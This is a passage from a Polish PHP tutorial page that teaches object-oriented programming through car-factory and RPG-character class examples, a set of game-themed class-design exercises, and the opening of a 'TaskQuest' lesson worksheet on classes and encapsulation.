$corvetteFactory-&gt;factoryStatus(); // Status fabryki

// Destruktory wywołają się automatycznie po zakończeniu skryptu
?&gt;</code></pre>



<p>Klasa <code class="prettyprint lang-sql" style="font-size: 0.85em;">ChevroletFactory</code> jest klasą bazową, która reprezentuje fabrykę samochodów marki Chevrolet. W tej klasie definiujemy:</p>
<ul>
<li>
<p><strong>Stałą <code class="prettyprint lang-sql" style="font-size: 0.85em;">MAX_CAPACITY</code></strong>:<br />Stała <code class="prettyprint lang-sql" style="font-size: 0.85em;">MAX_CAPACITY</code> określa maksymalną liczbę samochodów, które mogą być wyprodukowane przez fabrykę. Wartość ta jest stała i niezmienna, wynosi 500 w naszym przypadku.</p>
</li>
<li><strong>Właściwości <code class="prettyprint lang-sql" style="font-size: 0.85em;">$brand</code> i <code class="prettyprint lang-sql" style="font-size: 0.85em;">$producedCars</code></strong>:
<ul>
<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">$brand</code> to nazwa marki fabryki, w tym przypadku &#8222;Chevrolet&#8221;.</li>
<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">$producedCars</code> to liczba wyprodukowanych samochodów przez fabrykę, początkowo ustawiona na 0.</li>
</ul>
</li>
<li><strong>Konstruktor</strong>: Konstruktor jest wywoływany, gdy tworzony jest nowy obiekt klasy <code class="prettyprint lang-sql" style="font-size: 0.85em;">ChevroletFactory</code>. W momencie tworzenia fabryki, wyświetlany jest komunikat o jej otwarciu.<code class="prettyprint lang-sql" style="font-size: 0.85em;">
</code></li>
<li>
<p><strong>Metoda <code class="prettyprint lang-sql" style="font-size: 0.85em;">produceCar($quantity)</code></strong>: Ta metoda służy do produkcji określonej liczby samochodów. Jeśli liczba samochodów przekroczyłaby <code class="prettyprint lang-sql" style="font-size: 0.85em;">MAX_CAPACITY</code>, metoda wyświetla komunikat o błędzie. W przeciwnym razie dodaje liczbę wyprodukowanych samochodów do właściwości <code class="prettyprint lang-sql" style="font-size: 0.85em;">$producedCars</code>.</p>
</li>
<li>
<p><strong>Metoda <code class="prettyprint lang-sql" style="font-size: 0.85em;">__toString()</code></strong>: Jest to metoda magiczna, która pozwala na &#8222;przekształcenie&#8221; obiektu na ciąg tekstowy. Gdy próbujemy wydrukować obiekt, np. <code class="prettyprint lang-sql" style="font-size: 0.85em;">echo $obiekt</code>, PHP wywołuje <code class="prettyprint lang-sql" style="font-size: 0.85em;">__toString()</code> i wyświetla zwrócony tekst. W naszym przypadku metoda ta zwraca szczegóły dotyczące fabryki, czyli liczbę wyprodukowanych samochodów i maksymalną pojemność.<code class="prettyprint lang-sql" style="font-size: 0.85em;">
</code></p>
</li>
<li>
<p><strong>Destruktor</strong>: Destruktor jest wywoływany, gdy obiekt jest usuwany z pamięci, co zwykle następuje, gdy skrypt kończy działanie. W naszym przypadku, destruktor wyświetla komunikat o zamknięciu fabryki i liczbie wyprodukowanych samochodów.<code class="prettyprint lang-sql" style="font-size: 0.85em;">
</code></p>
</li>
<li>
<p><strong>Magic Methods <code class="prettyprint lang-sql" style="font-size: 0.85em;">__get</code> i <code class="prettyprint lang-sql" style="font-size: 0.85em;">__set</code></strong>:</p>
<ul>
<li><strong><code class="prettyprint lang-sql" style="font-size: 0.85em;">__get($name)</code></strong>: Została dodana po to, aby obsługiwać przypadki, gdy próbujemy uzyskać dostęp do właściwości, która nie istnieje. W takim przypadku wyświetlamy komunikat informujący o próbie dostępu do nieistniejącej właściwości.</li>
<li><strong><code class="prettyprint lang-sql" style="font-size: 0.85em;">__set($name, $value)</code></strong>: Została dodana, aby obsługiwać próbę ustawienia wartości właściwości, która nie istnieje, lub która nie jest dozwolona do ustawiania.</li>
</ul>
<p>Przykładowo, jeśli spróbujemy przypisać wartość do nieistniejącej właściwości, metoda <code class="prettyprint lang-sql" style="font-size: 0.85em;">__set</code> zostanie wywołana i wyświetli komunikat.<code class="prettyprint lang-sql" style="font-size: 0.85em;">
</code></p>
</li>
</ul>
<hr />
<p>W naszym przykładzie mamy dwie klasy pochodne:</p>
<ul>
<li>
<p><strong><code class="prettyprint lang-sql" style="font-size: 0.85em;">Camaro</code></strong>: Reprezentuje model samochodu Camaro. Klasa ta dziedziczy po klasie <code class="prettyprint lang-sql" style="font-size: 0.85em;">ChevroletFactory</code> i dodaje specyficzną właściwość <code class="prettyprint lang-sql" style="font-size: 0.85em;">$engineType</code> (typ silnika).</p>
<p>Konstruktor klasy <code class="prettyprint lang-sql" style="font-size: 0.85em;">Camaro</code> wywołuje konstruktor klasy <code class="prettyprint lang-sql" style="font-size: 0.85em;">ChevroletFactory</code> za pomocą <code class="prettyprint lang-sql" style="font-size: 0.85em;">parent::__construct()</code>, a następnie ustawia właściwość <code class="prettyprint lang-sql" style="font-size: 0.85em;">$engineType</code> i wyświetla komunikat o rozpoczęciu produkcji.</p>
</li>
<li>
<p><strong><code class="prettyprint lang-sql" style="font-size: 0.85em;">Corvette</code></strong>: Reprezentuje model samochodu Corvette. Podobnie jak w przypadku <code class="prettyprint lang-sql" style="font-size: 0.85em;">Camaro</code>, dziedziczy po klasie <code class="prettyprint lang-sql" style="font-size: 0.85em;">ChevroletFactory</code>, ale dodaje właściwość <code class="prettyprint lang-sql" style="font-size: 0.85em;">$color</code> (kolor samochodu).</p>
<p>Konstruktor klasy <code class="prettyprint lang-sql" style="font-size: 0.85em;">Corvette</code> również wywołuje konstruktor klasy <code class="prettyprint lang-sql" style="font-size: 0.85em;">ChevroletFactory</code>, ustawia kolor i wyświetla komunikat o rozpoczęciu produkcji.</p>
</li>
</ul>
<hr />
<p>W sekcji przykładu użycia tworzymy obiekty klasy <code class="prettyprint lang-sql" style="font-size: 0.85em;">Camaro</code> i <code class="prettyprint lang-sql" style="font-size: 0.85em;">Corvette</code> i wywołujemy na nich różne metody:</p>
<ul>
<li>
<p><strong>Tworzymy fabrykę Camaro</strong>:</p>
<ul>
<li>Tworzymy obiekt <code class="prettyprint lang-sql" style="font-size: 0.85em;">Camaro</code>, który przyjmuje typ silnika jako argument w konstruktorze.</li>
<li>Wywołujemy metodę <code class="prettyprint lang-sql" style="font-size: 0.85em;">produceCar()</code>, aby wyprodukować samochody, a potem wyświetlamy status fabryki przy pomocy <code class="prettyprint lang-sql" style="font-size: 0.85em;">echo</code> i metody <code class="prettyprint lang-sql" style="font-size: 0.85em;">__toString()</code>.</li>
</ul>
</li>
<li>
<p><strong>Tworzymy fabrykę Corvette</strong>:</p>
<ul>
<li>Tworzymy obiekt <code class="prettyprint lang-sql" style="font-size: 0.85em;">Corvette</code>, który przyjmuje kolor jako argument w konstruktorze.</li>
<li>Wywołujemy metodę <code class="prettyprint lang-sql" style="font-size: 0.85em;">produceCar()</code> i ponownie wyświetlamy status fabryki przy pomocy <code class="prettyprint lang-sql" style="font-size: 0.85em;">echo</code> i metody <code class="prettyprint lang-sql" style="font-size: 0.85em;">__toString()</code>.</li>
</ul>
<div class="contain-inline-size rounded-md border-[0.5px] border-token-border-medium relative bg-token-sidebar-surface-primary dark:bg-gray-950">
<div class="overflow-y-auto p-4" dir="ltr"><code class="prettyprint lang-sql" style="font-size: 0.85em;">
</code></div>
</div>
</li>
</ul>
<hr />
<h3>Podsumowanie:</h3>
<ul>
<li><strong>Klasa <code class="prettyprint lang-sql" style="font-size: 0.85em;">ChevroletFactory</code></strong> reprezentuje fabrykę samochodów i zawiera metody do produkcji, statusu fabryki oraz metody magiczne do zarządzania właściwościami obiektów.</li>
<li><strong>Klasy pochodne (<code class="prettyprint lang-sql" style="font-size: 0.85em;">Camaro</code> i <code class="prettyprint lang-sql" style="font-size: 0.85em;">Corvette</code>)</strong> reprezentują konkretne modele samochodów i dziedziczą właściwości i metody klasy bazowej, dodając własne specyficzne właściwości (np. typ silnika, kolor).</li>
<li><strong>Metoda <code class="prettyprint lang-sql" style="font-size: 0.85em;">__toString()</code></strong> umożliwia łatwe reprezentowanie obiektu w formie tekstowej.</li>
</ul>
<p>Każdy obiekt fabryki może produkować samochody, wyświetlać stan fabryki oraz korzystać z funkcji związanych z magią PHP (<code class="prettyprint lang-sql" style="font-size: 0.85em;">__get</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">__set</code>).</p>



<h3 class="wp-block-heading">Przykład 3: Postaci w grze RPG</h3>



<p class="wp-block-paragraph">Poniżej przedstawiam przykład wykorzystania OOP do tworzenia postaci w grze i symulowania ich walki.</p>



<pre class="wp-block-code prettyprint"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php
// Klasa główna Postac. To podstawowa klasa, z której dziedziczą inne postacie. Ma podstawowe cechy: imię, poziom i zdrowie.

class Postac {
    // Własności
    protected $imie;
    protected $poziom;
    protected $zdrowie;

    // Konstruktor
    public function __construct($imie, $poziom = 1) {
        $this-&gt;imie = $imie;
        $this-&gt;poziom = $poziom;
        $this-&gt;zdrowie = 100;
    }

    // Metoda, która zwiększa poziom
    public function awans() {
        $this-&gt;poziom++;
        $this-&gt;zdrowie += 20;
        echo "{$this-&gt;imie} awansował na poziom {$this-&gt;poziom}! Zdrowie wynosi teraz {$this-&gt;zdrowie}.\n";
    }

    // Metoda magiczna __toString
    public function __toString() {
        return "Postać: $this-&gt;imie, Poziom: $this-&gt;poziom, Zdrowie: $this-&gt;zdrowie.";
    }
}

// Klasa Wojownik, dziedziczy po klasie Postac
class Wojownik extends Postac {
    private $sila;

    // Konstruktor
    public function __construct($imie, $poziom = 1) {
        parent::__construct($imie, $poziom);
        $this-&gt;sila = 10 + $poziom * 2;
    }

    // Atak
    public function atak() {
        echo "{$this-&gt;imie} wykonuje potężny atak mieczem, zadając {$this-&gt;sila} obrażeń!\n";
    }

    // Nadpisanie metody awans
    public function awans() {
        parent::awans();
        $this-&gt;sila += 5;
        echo "{$this-&gt;imie} zwiększył siłę do {$this-&gt;sila}.\n";
    }
}

// Klasa Mag, dziedziczy po klasie Postac
class Mag extends Postac {
    private $mana;

    // Konstruktor
    public function __construct($imie, $poziom = 1) {
        parent::__construct($imie, $poziom);
        $this-&gt;mana = 50 + $poziom * 10;
    }

    // Rzucenie zaklęcia
    public function rzucZaklecie() {
        if ($this-&gt;mana &gt;= 10) {
            $this-&gt;mana -= 10;
            echo "{$this-&gt;imie} rzuca zaklęcie, zadając 30 obrażeń! Pozostała mana: {$this-&gt;mana}.\n";
        } else {
            echo "{$this-&gt;imie} nie ma wystarczającej ilości many!\n";
        }
    }

    // Nadpisanie metody awans
    public function awans() {
        parent::awans();
        $this-&gt;mana += 20;
        echo "{$this-&gt;imie} zwiększył manę do {$this-&gt;mana}.\n";
    }
}

// Tworzenie postaci
$wojownik = new Wojownik("Thor");
$mag = new Mag("Gandalf");

// Wypisanie informacji o postaciach
echo $wojownik . "\n"; // Wyświetla: Postać: Thor, Poziom: 1, Zdrowie: 100.
echo $mag . "\n";      // Wyświetla: Postać: Gandalf, Poziom: 1, Zdrowie: 100.

// Akcje postaci
$wojownik-&gt;atak();       // Thor wykonuje potężny atak mieczem, zadając 12 obrażeń!
$mag-&gt;rzucZaklecie();    // Gandalf rzuca zaklęcie, zadając 30 obrażeń! Pozostała mana: 50.

// Awansowanie postaci
$wojownik-&gt;awans();      // Thor awansował na poziom 2! Zdrowie wynosi teraz 120. Zwiększył siłę do 17.
$mag-&gt;awans();           // Gandalf awansował na poziom 2! Zdrowie wynosi teraz 120. Zwiększył manę do 80.

echo $wojownik . "\n";   // Wyświetla: Postać: Thor, Poziom: 2, Zdrowie: 120.
echo $mag . "\n";        // Wyświetla: Postać: Gandalf, Poziom: 2, Zdrowie: 120.</code></pre>



<p class="wp-block-paragraph">Wyjaśnienie kodu:</p>



<p class="wp-block-paragraph">Dziedziczenie: Klasy Wojownik i Mag dziedziczą po Postac i dodają swoje unikalne właściwości (sila, mana) oraz metody (atak, rzucZaklecie).</p>



<p class="wp-block-paragraph">Konstruktor: Każda klasa ma swój konstruktor, który inicjalizuje własności. Wojownik i Mag wywołują konstruktor z klasy nadrzędnej za pomocą parent::__construct().</p>



<p class="wp-block-paragraph">Metoda magiczna __toString: Pozwala reprezentować obiekt jako ciąg znaków, np. przy wywołaniu echo $obiekt.</p>



<p class="wp-block-paragraph">Polimorfizm: Metoda awans() jest nadpisywana w klasach Wojownik i Mag, aby uwzględnić specyficzne zmiany.</p>



<p>Zadanie: rozszerz kod o kolejną postać np. łucznik</p>


<div class="entry-content">
<h2>Zadanie 1</h2>
<p>Jesteś praktykantem w firmie zajmującej się tworzeniem witryn i aplikacji internetowych. Otrzymałeś zadanie polegające na stworzeniu aplikacji w języku PHP.</p>
<p>W aplikacji ma być utworzona klasa trójkąt, która zawiera dwa publiczne pola, takie jak: wysokość i podstawa oraz konstruktor, który przypisze im losowo wygenerowane wartości.</p>
<p>Ponadto w klasie powinna być zadeklarowana metoda obliczająca pole trójkąta. <br />W aplikacji należy utworzyć dwa obiekty klasy trójkąt.</p>
<p>Wynikiem działania aplikacji ma być wyświetlona wartość wysokości, podstawy i pola powierzchni obu trójkątów oraz informacja, który z trójkątów ma większą powierzchnię.</p>
<h2>Zadanie 2</h2>
<p>Jesteś praktykantem w firmie zajmującej się tworzeniem witryn i aplikacji internetowych. Otrzymałeś zadanie polegające na stworzeniu aplikacji w języku PHP.</p>
<p>W aplikacji ma być utworzona klasa odcinek zawierająca cztery publiczne pola, określające współrzędne początku i końca odcinka we współrzędnych x, y. W klasie odcinek należy utworzyć konstruktor, który współrzędnym przypisze <span class="underline">podane przez użytkownika (za pomocą formularza)</span> wartości.</p>
<p>Ponadto w klasie powinna być zadeklarowana metoda obliczająca długość odcinka.</p>
<p>W aplikacji należy utworzyć dwa obiekty klasy odcinek.</p>
<p>Wynikiem działania aplikacji ma być wyświetlona wartość długości obu odcinków oraz informacja, który z nich jest dłuższy.</p>
</div>


<h2>Zadanie 3: System Zarządzania Gildią Graczy</h2>
<p>Opis zadania:</p>
<p>Wyobraź sobie, że zarządzasz gildią w grze MMORPG. Twoim celem jest stworzenie systemu, który pozwala dodawać graczy do gildii, zarządzać ich rangami, a także organizować misje. Każdy gracz należy do gildii i może współpracować z innymi w ramach drużyny.</p>
<p>Wymagania funkcjonalne:</p>
<p>Klasa Player:</p>
<p>Atrybuty:</p>
<ul>
<li>name – imię gracza.</li>
<li>rank – ranga w gildii (np. „Rekrut&#8221;, „Członek&#8221;, „Oficer&#8221;).</li>
<li>level – poziom doświadczenia gracza.</li>
<li>role – rola w drużynie (np. „Tank&#8221;, „DPS&#8221;, „Healer&#8221;).</li>
</ul>
<p>Metody:</p>
<ul>
<li>promote() – zwiększa rangę gracza (np. z „Rekruta&#8221; na „Członka&#8221;).</li>
<li>demote() – obniża rangę gracza (np. z „Oficera&#8221; na „Członka&#8221;).</li>
</ul>
<p>Klasa Guild:</p>
<p>Atrybuty:</p>
<ul>
<li>name – nazwa gildii.</li>
<li>members – lista graczy w gildii (obiekty klasy Player).</li>
</ul>
<p>Metody:</p>
<ul>
<li>add_member(player) – dodaje nowego gracza do gildii.</li>
<li>remove_member(player) – usuwa gracza z gildii.</li>
<li>list_members() – wyświetla listę wszystkich graczy z ich szczegółami.</li>
<li>assign_team(players) – przypisuje wybranych graczy do drużyny (np. na misję).</li>
</ul>
<p>Klasa Mission:</p>
<p>Atrybuty:</p>
<ul>
<li>name – nazwa misji.</li>
<li>difficulty – poziom trudności (np. „Łatwy&#8221;, „Średni&#8221;, „Trudny&#8221;).</li>
<li>required_roles – lista wymaganych ról (np. [&#8222;Tank&#8221;, &#8222;DPS&#8221;, &#8222;Healer&#8221;]).</li>
</ul>
<p>Metody:</p>
<ul>
<li>is_team_eligible(team) – sprawdza, czy drużyna spełnia wymagania roli.</li>
</ul>
<p>Rozszerzenia:</p>
<ul>
<li>Dodaj system zdobywania punktów doświadczenia i automatycznego awansu na wyższy poziom.</li>
<li>Wprowadź ograniczenie maksymalnej liczby graczy w gildii.</li>
<li>Stwórz mechanizm losowania nagród za ukończone misje.</li>
</ul>
<p> </p>
<h2>Zadanie 4: Gra Wirtualnych Walk Robotów</h2>
<p>Opis zadania:</p>
<p>Stwórz symulację walk robotów, w której każdy robot ma różne parametry, broń i strategie walki.</p>
<p>Wymagania:</p>
<p>Klasa Robot:</p>
<p>Atrybuty:</p>
<ul>
<li>name – nazwa robota.</li>
<li>health – punkty życia.</li>
<li>attack_power – siła ataku.</li>
<li>defense – poziom obrony.</li>
<li>weapon – broń robota (np. „Laser&#8221;, „Rakiety&#8221;).</li>
</ul>
<p>Metody:</p>
<ul>
<li>attack(opponent) – zmniejsza punkty życia przeciwnika na podstawie siły ataku i broni.</li>
<li>defend(damage) – redukuje otrzymane obrażenia na podstawie obrony.</li>
<li>status() – wyświetla aktualne zdrowie robota.</li>
</ul>
<p>Symulator walki:</p>
<p>Wybierz dwóch robotów i pozwól im walczyć w rundach, aż jeden z nich przegra (zdrowie spadnie do 0). W każdej rundzie roboty na przemian atakują, a wynik walki jest wyświetlany po każdej turze.</p>
<p>Dodatkowe funkcjonalności:</p>
<p>Moduł ulepszeń:</p>
<ul>
<li>Dodaj klasę Upgrade, która pozwala ulepszać roboty (np. zwiększać zdrowie, siłę ataku, obronę).</li>
<li>Przykład: „Dodatkowe Pancerze&#8221; zwiększają defense, a „Turbo Silnik&#8221; zwiększa szybkość ataku.</li>
</ul>
<p>Różne typy broni:</p>
<ul>
<li>Każda broń może mieć dodatkowe efekty, np. laser ignoruje obronę przeciwnika, a rakiety zadają obrażenia obszarowe.</li>
<li>Dodaj klasę Weapon z atrybutami damage i special_effect.</li>
</ul>
<p>Tryb turniejowy:</p>
<ul>
<li>Dodaj system turniejów, w którym roboty walczą w eliminacjach, aż pozostanie jeden zwycięzca.</li>
</ul>
<p>Losowe zdarzenia:</p>
<ul>
<li>Wprowadź zdarzenia w trakcie walki, np. „Awaria systemu&#8221; lub „Podwójne obrażenia&#8221;.</li>
</ul>
<h2>Zadanie 5: System Kart Kolekcjonerskich</h2>
<p>Opis zadania:</p>
<p>Stwórz system kart kolekcjonerskich, które mogą być zbierane, wymieniane i używane w pojedynkach.</p>
<p>Wymagania:</p>
<p>Klasa Card:</p>
<p>Atrybuty:</p>
<ul>
<li>name – nazwa karty.</li>
<li>attack – siła ataku karty.</li>
<li>defense – poziom obrony karty.</li>
<li>rarity – rzadkość karty (np. „Zwykła&#8221;, „Rzadka&#8221;, „Legendarna&#8221;).</li>
</ul>
<p>Metody:</p>
<ul>
<li>compare(card) – porównuje siłę ataku dwóch kart i zwraca zwycięzcę.</li>
</ul>
<p>Klasa Player:</p>
<p>Atrybuty:</p>
<ul>
<li>name – imię gracza.</li>
<li>deck – talia kart (lista obiektów klasy Card).</li>
</ul>
<p>Metody:</p>
<ul>
<li>add_card(card) – dodaje kartę do talii gracza.</li>
<li>remove_card(card) – usuwa kartę z talii.</li>
<li>battle(opponent) – wybiera jedną kartę z talii i walczy z wybraną kartą przeciwnika.</li>
</ul>
<p>Rozgrywka:</p>
<p>Gracze losują karty z talii i walczą w turach. Wygrywa gracz, którego karty przetrwają najdłużej.</p>
<p>Dodatkowe funkcjonalności:</p>
<p>Tworzenie własnych kart:</p>
<ul>
<li>Dodaj system, w którym gracz może stworzyć własną kartę, przypisując jej atak, obronę i rzadkość w ramach określonych limitów.</li>
</ul>
<p>Efekty specjalne kart:</p>
<ul>
<li>Wprowadź karty z efektami, np. „Ognisty Smok&#8221; podwaja atak podczas pierwszej tury, a „Magiczna Bariera&#8221; neguje pierwszy atak przeciwnika.</li>
</ul>
<p>Mechanizm wymiany:</p>
<ul>
<li>Gracze mogą wymieniać karty między sobą.</li>
<li>Dodaj opcję targowania się lub ustalania cen wirtualnych.</li>
</ul>
<p>Rozgrywka wieloosobowa:</p>
<ul>
<li>Wprowadź tryb, w którym gracze mogą walczyć z innymi graczami w turniejach online (symulowanych w grze).</li>
</ul>
<p> </p>
<h2>Zadanie 6: Gra Słowna z Przeciwnikiem AI</h2>
<p>Opis zadania:</p>
<p>Stwórz grę, w której gracz i przeciwnik komputerowy rywalizują, tworząc jak najdłuższe słowa z losowego zestawu liter.</p>
<p>Wymagania:</p>
<p>Klasa WordGame:</p>
<p>Atrybuty:</p>
<ul>
<li>letters – lista liter, z których można tworzyć słowa.</li>
<li>player_score – wynik gracza.</li>
<li>ai_score – wynik przeciwnika.</li>
</ul>
<p>Metody:</p>
<ul>
<li>generate_letters() – losuje zestaw liter.</li>
<li>validate_word(word) – sprawdza, czy słowo jest poprawne (np. istnieje w słowniku).</li>
<li>ai_move() – komputer tworzy losowe poprawne słowo z dostępnych liter.</li>
</ul>
<p>Rozgrywka:</p>
<p>Gracz wprowadza słowo, a następnie przeciwnik generuje swoje słowo. Punktacja zależy od długości słowa. Gra kończy się po określonej liczbie tur.</p>
<p>Dodatkowe funkcjonalności:</p>
<p>Tryb rywalizacji:</p>
<ul>
<li>Dodaj możliwość gry na czas – gracz i AI mają ograniczoną liczbę sekund na wymyślenie słowa.</li>
</ul>
<p>Poziomy trudności AI:</p>
<ul>
<li>Łatwy: AI wybiera krótkie słowa.</li>
<li>Średni: AI stara się tworzyć średniej długości słowa.</li>
<li>Trudny: AI generuje najdłuższe możliwe słowa.</li>
</ul>
<p>System bonusów:</p>
<ul>
<li>Dodaj bonusy za użycie trudnych liter (np. „Q&#8221; lub „X&#8221;) lub za stworzenie słowa dłuższego niż 7 liter.</li>
</ul>
<p>Ulepszenie liter:</p>
<ul>
<li>Gracz może wymienić kilka liter na nowe za stratę punktów.</li>
</ul>
<p> </p>
<h2>Zadanie 7: Fantasy Liga e-Sportowa</h2>
<p>Opis zadania:</p>
<p>Zaprojektuj system zarządzania drużyną wirtualnych graczy e-sportowych, gdzie każda drużyna rywalizuje w turnieju.</p>
<p>Wymagania:</p>
<p>Klasa Player:</p>
<p>Atrybuty:</p>
<ul>
<li>nickname – pseudonim gracza.</li>
<li>role – rola w grze (np. „Support&#8221;, „Carry&#8221;).</li>
<li>skill_level – poziom umiejętności gracza.</li>
</ul>
<p>Metody:</p>
<ul>
<li>train() – zwiększa poziom umiejętności gracza.</li>
<li>play_match() – zmniejsza zmęczenie gracza (opcjonalnie wprowadź mechanikę kondycji).</li>
</ul>
<p>Klasa Team:</p>
<p>Atrybuty:</p>
<ul>
<li>name – nazwa drużyny.</li>
<li>players – lista obiektów klasy Player.</li>
</ul>
<p>Metody:</p>
<ul>
<li>add_player(player) – dodaje gracza do drużyny.</li>
<li>remove_player(player) – usuwa gracza z drużyny.</li>
<li>team_power() – oblicza łączny poziom umiejętności drużyny.</li>
</ul>
<p>Turniej:</p>
<p>Stwórz symulację, w której drużyny rywalizują w turnieju, a wyniki zależą od poziomu umiejętności ich graczy. Wyświetlaj wyniki każdej rundy i ogłoś zwycięzcę.</p>
<p>Dodatkowe funkcjonalności:</p>
<p>Personalizacja graczy:</p>
<ul>
<li>Dodaj system awatarów, imion drużyn i personalizowanych logo.</li>
</ul>
<p>Zdarzenia losowe:</p>
<ul>
<li>Przykład: „Kontuzja gracza&#8221; – gracz musi zostać wymieniony przed kolejnym meczem.</li>
<li>„Eksplozja formy&#8221; – tymczasowy wzrost umiejętności jednego gracza.</li>
</ul>
<p>Ekonomia drużyny:</p>
<ul>
<li>Wprowadź budżet, który pozwala na zatrudnianie lepszych graczy lub inwestowanie w trening.</li>
</ul>
<p>Symulacja pełnych rozgrywek:</p>
<ul>
<li>Stwórz harmonogram meczów między drużynami, a na koniec wyświetlaj tabelę wyników.</li>
</ul>
<p>Rozgrywka interaktywna:</p>
<ul>
<li>Gracz może aktywnie zarządzać strategią podczas meczu (np. wybór taktyki, zmiany w drużynie).</li>
</ul>
<p> </p>
<h2>Zadania 8: System Handlu w Grze MMORPG</h2>
<p>Opis zadania:</p>
<p>Stwórz symulację handlu w grze, gdzie gracze mogą sprzedawać i kupować przedmioty od siebie.</p>
<p>Wymagania:</p>
<p>Klasa Item:</p>
<p>Atrybuty:</p>
<ul>
<li>name – nazwa przedmiotu.</li>
<li>type – rodzaj przedmiotu (np. „Broń&#8221;, „Zbroja&#8221;, „Eliksir&#8221;).</li>
<li>price – cena przedmiotu.</li>
</ul>
<p>Metody:</p>
<ul>
<li>discount(percent) – obniża cenę przedmiotu o podany procent.</li>
</ul>
<p>Klasa Player:</p>
<p>Atrybuty:</p>
<ul>
<li>name – imię gracza.</li>
<li>inventory – lista posiadanych przedmiotów.</li>
<li>gold – ilość złota gracza.</li>
</ul>
<p>Metody:</p>
<ul>
<li>buy(item) – kupuje przedmiot, o ile gracz ma wystarczająco złota.</li>
<li>sell(item) – sprzedaje przedmiot i zwiększa ilość złota.</li>
</ul>
<p>Klasa Marketplace:</p>
<p>Atrybuty:</p>
<ul>
<li>items – lista dostępnych przedmiotów.</li>
</ul>
<p>Metody:</p>
<ul>
<li>list_items() – wyświetla dostępne przedmioty na rynku.</li>
<li>trade(buyer, seller, item) – przeprowadza transakcję między graczami.</li>
</ul>
<p>Rozgrywka:</p>
<p>Gracze mogą kupować i sprzedawać przedmioty na rynku. Ceny przedmiotów mogą się zmieniać w zależności od podaży i popytu (opcjonalne).</p>
<p>Dodatkowe funkcjonalności:</p>
<p>Dynamiczna ekonomia:</p>
<ul>
<li>Ceny przedmiotów zmieniają się w zależności od podaży i popytu na rynku.</li>
</ul>
<p>Dom aukcyjny:</p>
<ul>
<li>Gracze mogą wystawiać przedmioty na aukcje, a inni licytować je w określonym czasie.</li>
</ul>
<p>System reputacji:</p>
<ul>
<li>Gracze mogą zdobywać lub tracić reputację na podstawie uczciwości w handlu.</li>
</ul>
<p>Rzemiosło:</p>
<ul>
<li>Wprowadź możliwość tworzenia nowych przedmiotów z surowców, które gracze mogą kupować, sprzedawać lub zdobywać podczas misji.</li>
</ul>
<p>Mechanizm kradzieży:</p>
<ul>
<li>Dodaj opcję prób kradzieży przedmiotów od innych graczy, ale z ryzykiem utraty reputacji.</li>
</ul>



<h1 id="TaskQuest" class="wp-block-heading">TaskQuest 1.5 — zadanie i użytkownik stają się obiektami</h1>



<details class="wp-block-details is-layout-flow wp-block-details-is-layout-flow"><summary><strong>KARTA PRACY</strong></summary>
<p class="wp-block-paragraph">Po Lekcji 14 TaskQuest wie, kto z niego korzysta, i pamięta go między żądaniami. Ale w środku aplikacji dane są rozrzucone. Zadanie to tablica z sześcioma kluczami, a pięć różnych funkcji w <code class="prettyprint lang-sql" style="font-size: 0.85em;">funkcje_zadan.php</code> musi „pamiętać”, jak te klucze się nazywają. Dane użytkownika leżą w trzech miejscach: login i imię w sesji, XP i streak w luźnych zmiennych w <code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php</code>, a to, co z nich wynika (poziom, tytuł gracza, brakujące XP) — w funkcjach, którym za każdym razem trzeba podać <code class="prettyprint lang-sql" style="font-size: 0.85em;">$xp</code> i <code class="prettyprint lang-sql" style="font-size: 0.85em;">$poziom</code>.</p>



<p class="wp-block-paragraph">Dziś połączymy dane i działania na nich w jedną całość. Zadanie i użytkownik staną się <strong>obiektami</strong>: będą same pilnować swoich danych i same wiedzieć, co potrafią. To <strong>programowanie obiektowe</strong> (ang. <em>object-oriented programming</em>, OOP).</p>



<h3 class="wp-block-heading">Cel lekcji</h3>



<p class="wp-block-paragraph">Nauczyć się:</p>



<ul class="wp-block-list">
<li>czym jest <strong>klasa</strong>, a czym <strong>obiekt</strong>, i jak tworzyć obiekt przez <code class="prettyprint lang-sql" style="font-size: 0.85em;">new</code>,</li>



<li>zapisywać dane obiektu we <strong>właściwościach</strong> i działania na nich w <strong>metodach</strong>; rozumieć, co oznacza <code class="prettyprint lang-sql" style="font-size: 0.85em;">$this</code>,</li>



<li>przygotowywać obiekt do pracy w <strong>konstruktorze</strong> (<code class="prettyprint lang-sql" style="font-size: 0.85em;">__construct</code>),</li>



<li>ukrywać dane (<code class="prettyprint lang-sql" style="font-size: 0.85em;">private</code>) i udostępniać tylko bezpieczne operacje (<code class="prettyprint lang-sql" style="font-size: 0.85em;">public</code>) — to <strong>hermetyzacja</strong> (enkapsulacja),</li>



<li>tworzyć obiekty czytelnie dzięki <strong>argumentom nazwanym</strong>,</li>



<li>przebudować TaskQuest tak, żeby lista zadań była tablicą <strong>obiektów <code class="prettyprint lang-sql" style="font-size: 0.85em;">Zadanie</code></strong>, a dane gracza — obiektem <strong><code class="prettyprint lang-sql" style="font-size: 0.85em;">Uzytkownik</code></strong>.</li>
</ul>



<p class="wp-block-paragraph">Efekt: TaskQuest wygląda i działa tak samo jak po Lekcji 14 — z jedną nową rzeczą widoczną dla użytkownika: <strong>zadania po terminie są wyróżnione</strong> czerwoną ramką. Całą resztę zmian widać w kodzie: zamiast <code class="prettyprint lang-sql" style="font-size: 0.85em;">$zadanie['tytul']</code> piszemy <code class="prettyprint lang-sql" style="font-size: 0.85em;">$zadanie-&gt;pobierzTytul()</code>, zamiast <code class="prettyprint lang-sql" style="font-size: 0.85em;">obliczPoziom($xp)</code> — <code class="prettyprint lang-sql" style="font-size: 0.85em;">$uzytkownik-&gt;pobierzPoziom()</code>.</p>



<blockquote class="wp-block-quote is-layout-flow wp-block-quote-is-layout-flow">
<p class="wp-block-paragraph"><strong>Uwaga — co jest, a czego jeszcze nie ma:</strong></p>



<ul class="wp-block-list">
<li>Dane nadal są w <code class="prettyprint lang-sql" style="font-size: 0.85em;">data/zadania.csv</code>, a XP, streak i data ostatniej aktywności nadal są <strong>symulowane</strong> (wpisane w kod). Obiekt <code class="prettyprint lang-sql" style="font-size: 0.85em;">Uzytkownik</code> jest budowany od nowa przy każdym żądaniu z danych w sesji i tych symulowanych wartości. W sesji nadal trzymamy tylko <code class="prettyprint lang-sql" style="font-size: 0.85em;">login</code> i <code class="prettyprint lang-sql" style="font-size: 0.85em;">imie</code> — nie cały obiekt.</li>



